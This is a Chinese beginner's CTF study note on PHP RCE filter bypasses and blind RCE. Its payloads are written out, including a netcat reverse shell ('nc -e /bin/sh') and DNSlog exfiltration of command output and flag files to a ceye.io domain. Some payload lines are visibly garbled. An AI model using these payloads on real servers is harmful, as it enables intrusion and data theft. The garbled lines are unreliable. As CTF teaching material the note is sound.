萌新小白对于ctf学习的笔记--CTF中的RCE

概念

RCE(Remote code execution)远程代码执行漏洞,RCE又分命令执行和代码执行。

  • RCE-远程代码执行:远程执行PHP代码
  • RCE-远程命令执行:远程执行Linux或者Windows等系统命令。

常见函数有:

  • PHP:eval(),assert(),preg_replace(),call_user_func(),call_user_func_array()以及array_map(),system, shell_exec, popen, passthru, proc_open等。
  • Python:eval,exec,subprocess os.system commands.
  • Java:Java里面没有类似于php中的eval函数可以直接将字符串转化为代码执行的函数。但是又反射机制,并且有各种基于反射机制的表达式引擎。ps:OGNL, SpEL, MVEL

绕过姿势

号绕过(ノ・ω・)ノ

这个理解起来其实很简单,这个指令放到Linux里面是这样的

1709454583_65e434f7f0dceba356f0f.png!small?1709454586480

在Linux中,*是一个通配符,代表当前目录下的所有隐藏目录和隐藏文件夹。

我们利用这一点可以绕过CTF中的一些函数。

ps:

<?php 
  $c = $_GET['c'];
  if(!preg_match("/flag/i",$c))   //这里的i是大小写的意思
  {
      eval($c);
}
?>

我们看上面的if函数里面写的东西,他是禁止出现flag这个字符串,所以我们可以直接使用来进行绕过。但是这里我们不仅可以使用cat fla*.php也可以使用tac命令来输出这个fla.php,命令为tac fla*php.

取代函数 (ノ*・ω・)ノ

这个方法挺好用的,我们可以看一段具体的php判断代码。

<?php 
  $c = $_GET['c'];
  if(!preg_match("/flag|system|php/i",$c))   
  {
      eval($c);
}
?>

上文我们的system与php都被禁止了,这里我们可以看到上面的PHP执行命令函数。

我们可以使用里面的shell_exec函数,但是我们要注意,shell_exec函数需要我们把结果输出出来。那我们就可以这样构造payload的了

url?c=echo shell_exec('tac/cat fla*);

参数逃逸(ノ*・ω・)ノ

我们看到这个姿势,也是通过一个php判断代码

<?php 
  $c = $_GET['c'];
  if(!preg_match("/flag|system|php|cat|sort|shell|\.| |/i",$c))   //这里还过滤的.和空格
  {
      eval($c);
}
?>

我们对参数逃逸进行理解

因为是rce漏洞,所以我们可以使用代码在构造一些新的参数,比如说我们构造一个新的参数,那我们在url中可以先这样写。

url?c=eval($_GET[‘a’]);

这样相当于构造了一个新的参数a,然后页面代码又没有对a参数进行限制,所以我们后面可以直接用a参数来进行对flag.php的读取。

url?c=eval($_GET[‘a’]);&a=cat flag.php;

这就是我们所说的参数逃逸。

管道符绕(ノ*・ω・)ノ

管道符这里我们分为两个系统的:

windows

  1. |:直接执行后面语句
  2. ||:前面执行失败,则执行后面
  3. &:两个都执行,如果前面的命令为假,则直接执行后面
  4. &&如果前面的语句为假则直接出错,也不执行后面,前面为真,则都执行。

Linux

  1. |:显示后面语句的结果
  2. ||:当前面直接出错,执行后面的语句
  3. &:两个都执行,同win
  4. &&:前面出错,则不执行后面,两个都为true才都执行,前面只能为true。
  5. `:在将括号内的命令处理完毕之后,会将返回的信息传给bash,再次执行。
  6. ;:执行完前面执行后面。

包含漏洞+伪协议 (ノ*・ω・)ノ

这个绕过需要用到我们之前讲到的参数逃逸的思想,我们通过一个例子来看。

<?php 
  $c = $_GET['c'];
  if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;(/i",$c))  //这里我们国立了',`和;号。  
  {
      eval($c);
}
?>

我们可以看到echo,;和我们之前用的反引号都被过滤掉了,那么既然分号与反引号都被注释掉了,我们就可以使用文件包含的思路。

url?c=include$_GET[a]?>

我们使用?>来将这个php语句进行完成,然后我们后面跟上php的伪协议。这样我们的payload就变成了。

payload:url?c=include$_GET[a]?>&a=data://text/plain,<?tac fla*?>

这里我们使用data协议是因为,用户的输入会被当做php文件来执行,这样一来就达到了我们绕过的思路。

但是我们也可以使用其他的协议。

1.url?c=include[a]?>&a=php;//filter/read=convert.base64-encode/resource=flag.php

2.url?c=include$_GETa]?>&a=php://input post:<?php system('tac flag.php');?>

关键字绕过(总体)(ノ*・ω・)ノ

这里包含了很多中不同的绕过方式,但是都是属于关键字绕过这个大板块的。

空格绕过

在Linux中,空格可以替换为以下几种:

<<> I F S ∗ ∗ ∗ ∗ {IFS}**** IFSIFS**%20(space)%09(tab)$IFS 9 ∗ ∗ ∗ ∗ 9**** 9IFS$1**等等

cat<flag.php
cat<>flag.php
cat$IFSflag.php
cat${IFS}flag.php
cat%20flag.php
cat%09flag.php
cat$IFS$1flag.php

这里主要是代码审计,看看那些是没有被过滤的,灵活运用。

转义绕过

我们可以使用反斜杠进行转义

ps:

cat flag  --->   ca\t fl\ag
cat flag  --->   ca"t flag
cat flag  --->   ca't flag

这个就不多说了。

特殊变量绕过

我们可以使用Linux中的一些特殊变量进行绕过

ps:

$* $@ $x ${X} //这里的x代表任意值

ca$*t  flag.php
ca$@t flag.php
ca$xt flag.php
ca${X}t flag.php

这些都是shell的特殊变量,也是可以用来绕过的,这种类型可以用在过滤了cat这种命令或者其他关键字符串上面使用。

RE绕过

这个也就是我们最开始的fla*.php。没什么好讲的。

其实这个应该也可以叫做正则表达式绕过。但是我想说,这里还有一个骚操作

比如说我们一下这个实列:

shell -->  ls
-> flag
shell -->  cat ?la*
->flag{ABsec}

Base64编码绕过

这个可以用在一些命令被过滤的情况下使用,比如说我们的ls命令被过滤了,那我们可以将ls这个命令编码

echo 'ls' | base64
->bHMK
`echo 'bHMK' | base64 -d
-> flag.ph  test.php  ......

拼接法

这个的大概思路为,用两个参数来保存flag这个字符串的每个部分。大致如下

a=fl;b=ag;cat I F S IFS IFSa$b;

类似于这种。

过滤命令执行函数(ノ*・ω・)ノ

内敛绕过

这个其实很简单,就是将反引号内的命令的输出作为输入执行。

payload:url?c=127.0.0.1;cat I F S IFS IFS!ls

会抓取ls返回的所有文件内容。

内敛绕过还有其他的写法,比如下面:

echo $(ls);

?><?=`ls1;

?><?=$(ls);

使用其他函数

还记得我们前面讲的取代函数吗?和这个的思路一样,如果我们的执行命令函数被过滤的花花,我们就需要更换函数了

我们除了shell_exec()还可以用以下几种

system()

passthru()

exec()

popen()

proc_open()

pcntl_exec()

highlight_file()

读取文件

这里我们这样玩,我们除了cat可以显示文本内容以外,在CTF中我们还可以使用一下几个姿势

curl file:///flag
strings flag
uniq -c flag
bash -v flag
rev flag
tac flag
//如果说我们遇到ls被过滤的话,我们也可以使用find
find
-?>  .   ./flag

字符串长度限制(ノ*・ω・)ノ

这个挺有意思的,在CTF中,题目可能会限制你输入的长度,如果说我们要绕过他的话,我们可以只用上文中的一些思想,我们直接看payload

cat flag
-> flag{ABsec}
touch "ag"
touch "fl\\"
touch "t \\"
touch "ca\\"
ls -t
->ca\ ,  t \  ,  fl\  ,  ag  ,  shell ,  flag
ls -t > shell
sh shell
->flag{ABsec}

首先是里面的一些命令

  1. 空格\ : 这个其实是换行。
  2. ls -t :按照时间将文本排序输出
  3. ls -t > shell:将ls -t的输出储存到shell文件中

我们首先是用touch命令创建了几个文件,但是他们的文件名是我们的主要。我们使用两个\的原因在于,第一个\用于将后面的\变成字符串,第二个\是用来将后面的文本转换为字符串,以便用于后面的测试。

这样我们shell里面的样子应该是这样的:

cat shell
->cat
flag

因为****就是用来换行的,不然他们连在一起也无法被解析。

$PATH (ノ*・ω・)ノ

这个是利用环境变量来达到截取字母绕过的目的。

这里我们可以举一个例子:

echo $PATH
/opt/jdk-21/bin         //假如是这样的
echo ${PATH:2:1}
->p
echo ${PATH:3:1}
->t
echo ${PATH:3:2}
->t/

Linux中${PATH🅰️b}我们可以理解为从a位开始截取,截取b个长度(/也算一位)

那我们对应这来的话就是这样的

/ o p t / j d k - 2 1 / b i n

0 1 2 3 4 5 6 7 8 9 10 11 12 13

比如说我们echo ${PATH:3:2}

那就表示,我们从t开始,往后截取两位数

输出: t/

但是这样可能也会出现一些没有的字母,但是我们需要那个字母的情况,这个时候我们可以自己取构造一个PATH。

export PATH=$PATH:/abcdefghijklmn/opq/rst/uvw/xyz/0123456789

我们直接将全部的字母和数字都放到环境变量中,需要的时候我们就用上面的那个方法进行构造payload。

无回显RCE

无回显顾名思义没有回显的远程代码执行漏洞,那对于这种情况我们可以这样思考

sleep函数测试

我们在无回显rce中可以使用sleep函数测试一下页面的回响,比如说我们这样写

url?c=ls;sleep 3

http请求dns请求

http://ceye.io/payloads

如果说我们在进行sleep测试的时候确实停了3秒,那么我们可以进行一下的一些思路。

shell获取权限拿flag

更具上面的sleep测试,首先页面无回显,那么我们就不能单纯的在进行我们上面的rce的bypass了,我们可以使用写shell的方式,但是这个shell可以是我们直接写的(echo shell>xxxx.sh)也可以是我们下载的(wget)。

我们手写的话就是这样走:

url?c=nc -e /bin/sh ip port

然后我们本地在使用nc进行监听。

这样是一种拿到flag的一种思路。

DNSlog

dnslog主要争对无回显的情况

  • Sqi-Blind
  • RCE
  • SSRF
  • RFI(Remote File inclusion)

但是我们这里只谈RCE的使用。

首先我们介绍一什么是dnslog。

原理

DNS在解析的时候会留下日志,我们将信息放在高级域名中,传递到自己这里,然后通过读日志获取信息。所以这里跟最初的猜想基本一致,原理也就是通过DNS请求后,通过读取日志来获取我们的请求信息。

我们用一个例子来理解这个东西:

c:\>ping %USERNAME%.ABsec.com
ping 请求找不到主机 example.ABsec.como. ......

我们可以看到我们这个ping的命令将example.ABsec.com一起发给了DNS服务器请求解析域名对应的ip地址,这个过程被记录下来就是DNSlog。也就是说,只要可以进行DNS请求,就有可能存在DNSlog注入。

DNSlog常规的Linux的注入是这个样子的payload

curl http://ip.port.exp.ceye.io/`whoami`    //这里的exp.ceye.io就是我们identifier,这里的ip与port均为靶机的ip与port。命令而已自己尝试这换。
ping `whoami`.ip.port.exp.ceye.io
举例

我们拿NSSCTF里面的一道题目举例子

<?php
  error_reporting(0);
highlight_file(__FILE__);
function strCheck($cmd)
{
  if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){
    return($cmd);
  }
  else{
    die("i hate this");      
  }
}
$cmd=$_GET['cmd'];
strCheck($cmd);
shell_exec($cmd);
?>

我们看到上面代码,进行代码审计

首先是过滤了;,&,$,x09,x26等关键字,而且还过滤的ping。

在url上面传入一个cmd参数。

再往下看,发现了shell_exec,那么基本可以判定是无回显RCE了。

那我们就可以试试使用DNSlog来进行渗透了。

我们需要用到下面的identifier,这个就是我们后面需要跟的那个域名。

1709454591_65e434ff83b88336c1761.png!small?1709454593751

那我们的payload这样写就可以了

payload:url?cmd=curl cat /fla*.域名

我们这样写,然后运行,回到我们的ceye中查看flag。

1709454596_65e4350455abdf42caee4.png!small?1709454598625

总结

以上就是我对于RCE学习的一个总结,其中也借鉴了很多网上大佬们的文章,也有视频学习的笔记。如果有不足,会很快改的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/440457.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

解决syslog服务器启动问题

Syslog 监控和管理对于每个组织来说都很重要&#xff0c;可以减少系统停机时间、提高网络性能并加强企业的安全策略。而在网络系统管理中&#xff0c;syslog服务用于收集、存储和管理系统和设备的日志信息。 然而&#xff0c;有时候我们可能会遇到syslog服务器无法启动的问题&…

mysql中 COALESCE和CASE WHEN的使用以及创建或替换视图

create or replace view 自理能力评估视图 as SELECT ehr_zlnlpg.ID AS ID, ehr_zlnlpg.GRID AS GRID, ehr_zlnlpg.TJID AS TJID, ehr_grjbxx.Name AS 姓名, ehr_grjbxx.Sex AS 性别, ehr_grjbxx.Cardnum AS 身份证号, ehr_zlnlpg.SCORESUM AS 总…

[每周一更]-第90期:认识Intel的CPU

市面上的CPU分类主要分有两大阵营&#xff0c;一个是Intel、AMD为首的复杂指令集CPU&#xff0c;另一个是以IBM、ARM为首的精简指令集CPU。 两个不同品牌的CPU&#xff0c;其产品的架构也不相同&#xff0c;例如&#xff0c;Intel、AMD的CPU是X86架构的&#xff0c;而IBM公司的…

基于java+springboot+vue实现的校园悬赏任务平台(文末源码+Lw)23-277

摘 要 使用旧方法对校园悬赏任务平台的信息进行系统化管理已经不再让人们信赖了&#xff0c;把现在的网络信息技术运用在校园悬赏任务平台的管理上面可以解决许多信息管理上面的难题&#xff0c;比如处理数据时间很长&#xff0c;数据存在错误不能及时纠正等问题。这次开发的…

STM32 | Proteus 8.6安装步骤(图文并茂)

01 Proteus 8.6 简介 Proteus 8.6 是一款功能强大的电子设计自动化软件&#xff0c;广泛用于电路设计、仿真和PCB布局。它为电子工程师和学生提供了一个全面的工具集&#xff0c;用于设计和验证各种电路和电子设备。Proteus 8.6 包括了以下几个主要特性&#xff1a; 1. 电路设…

云计算 3月8号 (WEB服务及Apache 服务的搭建与配置——基于域名 端口 Ip多方式访问)

1、WEB服务简介 # 目前最主流的三个Web服务器是Apache、Nginx、 IIS。 - WEB服务器一般指网站服务器&#xff0c;可以向浏览器等Web客户端提供网站的访问&#xff0c;让全世界浏览。 - WEB服务器也称为WWW(WORLD WIDE WEB)服务器&#xff0c;主要功能是提供网上信息浏览服务。 …

【lua】lua内存优化记录

这边有一个Unity项目用的tolua&#xff0c; 游戏运行后手机上lua内存占用 基本要到 189M&#xff0c; 之前峰值有200多。 优化点1 加快gc频度&#xff1a; 用uwa抓取的lua内存&#xff0c; 和unity的mono很像&#xff0c;内存会先涨 然后突然gc一下&#xff0c;降下来。 这样…

S4---FPGA-K7板级原理图硬件实战

视频链接 FPGA-K7板级系统硬件实战01_哔哩哔哩_bilibili FPGA-K7板级原理图硬件实战 基于XC7K325TFFG900的FPGA硬件实战框图 基于XILINX 的KINTEX-7 芯片XC7K325FPGA的硬件平台&#xff0c;FPGA 开发板挂载了4 片512MB 的高速DDR3 SDRAM 芯片&#xff0c;另外板上带有一个SODIM…

RabbitMQ的Windows版安装教程

文章目录 前言一、Windows安装RabbitMQ总结 前言 曾经写过一篇关于RabbitMQ的Ubuntu安装教程&#xff08;http://t.csdnimg.cn/5CYfC&#xff09;&#xff0c;当时使用的是Docker将RabbitMQ安装到虚拟机上&#xff0c;但是有很多小伙伴问Windows上如何进行安装RabbitMQ&#x…

根据xlsx文件第一列的网址爬虫

seleniumXpath 在与该ipynb文件同文件下新增一个111.xlsx&#xff0c;第一列放一堆需要爬虫的同样式网页 然后使用seleniumXpath爬虫 from selenium import webdriver from selenium.webdriver.common.by import By import openpyxl import timedef crawl_data(driver, url)…

【力扣白嫖日记】1164.指定日期的产品价格

前言 练习sql语句&#xff0c;所有题目来自于力扣&#xff08;https://leetcode.cn/problemset/database/&#xff09;的免费数据库练习题。 今日题目&#xff1a; 1164.指定日期的铲平价格 表&#xff1a;Products 列名类型product_idintnew_priceintchange_datedate (pr…

Nacos2.2.3之MySQL8.X持久化详细配置过程

Nacos2.2.3之MySQL8.X持久化详细配置过程 文章目录 Nacos2.2.3之MySQL8.X持久化详细配置过程1. 官网与下载1. 官网2. Naocs是什么&#xff1f;3. 下载 2. 安装与持久化配置1. 解压安装2. 创建数据库1. 连接数据库2. 创建nacos数据库3. 导入脚本4. 查看表 3. 持久化配置1. appli…

Ant Design Vue a-select 的 optionFilterProp 检索结果不对

<a-selectshow-search //可输入查询optionFilterProp"label" //查询的是labelv-model:value"form.roomId"placeholder"请选择房间名称":disabled"isUpdate"><a-select-optionv-for"item in rooms":key"ite…

【嵌入式高级C语言】9:万能型链表懒人手册

文章目录 序言单向不循环链表拼图框架搭建 - Necessary功能拼图块1 创建链表头信息结构体 - Necessary2 链表头部插入 - Optional3 链表的遍历 - Optional4 链表的销毁 - Necessary5 链表头信息结构体销毁 - Necessary6 获取链表中节点的个数 - Optional7 链表尾部插入 - Optio…

如何在Windows系统部署Jellyfin Server并实现公网访问内网影音文件

文章目录 1. 前言2. Jellyfin服务网站搭建2.1. Jellyfin下载和安装2.2. Jellyfin网页测试 3.本地网页发布3.1 cpolar的安装和注册3.2 Cpolar云端设置3.3 Cpolar本地设置 4.公网访问测试5. 结语 1. 前言 随着移动智能设备的普及&#xff0c;各种各样的使用需求也被开发出来&…

基于工业边缘网关的机械状态监测与故障诊断应用

机械设备工作于各种各样的环境&#xff0c;在运行过程中必然受到力、温度、摩擦等多种物理、化学作用,使机械设备状态和性能变化,进而产生“隐性故障”。随着机械设备“隐性故障”的长期累积&#xff0c;可能造成设备损伤损坏&#xff0c;甚至影响系统整体生产和运营&#xff0…

SVG 渐变边框在 CSS 中的应用

SVG 渐变边框在 CSS 中的应用 <template><div class"home"><div class"one"><svg width"100%" height"100%"><rect x"2" y"2" width"100%" height"100%" fill&q…

SpringCloud-搭建RabbitMQ消息队列

本文介绍了在 Windows 环境下安装 RabbitMQ 及其依赖的 Erlang 语言的过程。通过提供下载链接和详细的安装步骤&#xff0c;使读者能够快速搭建 RabbitMQ 开发环境。同时&#xff0c;展示了常用的命令和验证方法&#xff0c;确保安装正确完成。这为搭建 RabbitMQ 服务奠定了基…

千兆网络变压器的特点

不要选错了&#xff0c;同款的小24PIN工业级千兆网络变压器有两种&#xff0c;外壳尺寸、工程参数完全相同。很多客户对这两款产品傻傻分不清&#xff0c;今天我就来详细介绍一下&#xff1a; HX82409S特点有三个&#xff1a; 一&#xff0c;采用单环设计&#xff0c;只有一颗…

学历双非,找中小厂测试行不行

大家好&#xff0c;我是洋子。今年的24春招大部分互联网公司都启动了&#xff0c;25届实习生招聘也同步启动。 虽然就业市场看起来还是比较严峻&#xff0c;但值得欣慰的是大厂招聘hc确有回暖迹象&#xff0c;腾讯2024年招聘实习生5000&#xff0c;美团24春招&25转正实习hc…